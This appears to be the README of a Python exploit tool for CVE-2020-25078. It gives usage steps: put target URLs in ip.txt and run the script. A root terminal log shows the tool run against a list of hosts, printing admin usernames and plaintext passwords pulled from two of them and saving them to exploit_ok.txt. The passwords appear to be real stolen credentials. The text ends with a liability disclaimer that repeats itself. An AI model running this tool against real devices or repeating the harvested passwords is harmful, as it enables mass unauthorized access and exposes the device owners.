CVE-2020-25078

사용 설명

instructions

attack url을 동일 디렉토리에 ip.txt로 넣으세요

공격 IP는 ip.txt와 같은 디렉토리에 위치합니다.

터미널 로그

root@localhost:~/CVE-2020-25078#ls

CVE-2020-25078.py ip.txt

root@localhost:~/CVE-2020-25078#cat ./ip.txt

https://xxx.xxx.xxx.xxx:3128

http://xxx.xxx.xxx.xxx:80

https://xxx.xxx.xxx.xxx:8080

https://xxx.xxx.xxx.xxx:443

root@localhost:~/CVE-2020-25078#python3 ./CVE-2020-25078.py

Exploit 실행 시작...

[+Login URL]==> http://xxx.xxx.xxx.xxx:80 UserName: ['admin'] PassWord: ['Sruthimina123']

[+Login URL]==> http://xxx.xxx.xxx.xxx:443 UserName: ['admin'] PassWord: ['ming502219']

root@localhost:~/CVE-2020-25078# ls -l

CVE-2020-25078.py

exploit_ok.txt

ip.txt

README.md

root@localhost:~/CVE-2020-25078# cat ./exploit_ok.txt

[+Login URL]==>http://xxx.xxx.xxx.xxx:80 [+UserName]==>['admin'] [+PassWord]==>['Sruthimina123']

[+Login URL]==>http://xxx.xxx.xxx.xxx:443 [+UserName]==>['admin'] [+PassWord]==>['ming502219']

root@localhost:~/CVE-2020-25078#

면책 조항

Disclaimers

이 문서에 제공된 정보의 전파 및 사용으로 인해 발생하는 직접적 또는 간접적 결과 및 손실은 모두 사용자 본인이 부담하며, 저자는 이에 대해 어떠한 책임도 지지 않습니다. 이 문서에 제공된 정보의 전파 및 사용으로 인해 발생하는 직접적 또는 간접적 결과 및 손실은 모두 사용자 본인이 부담하며, 저자는 이에 대해 어떠한 책임도 지지 않습니다.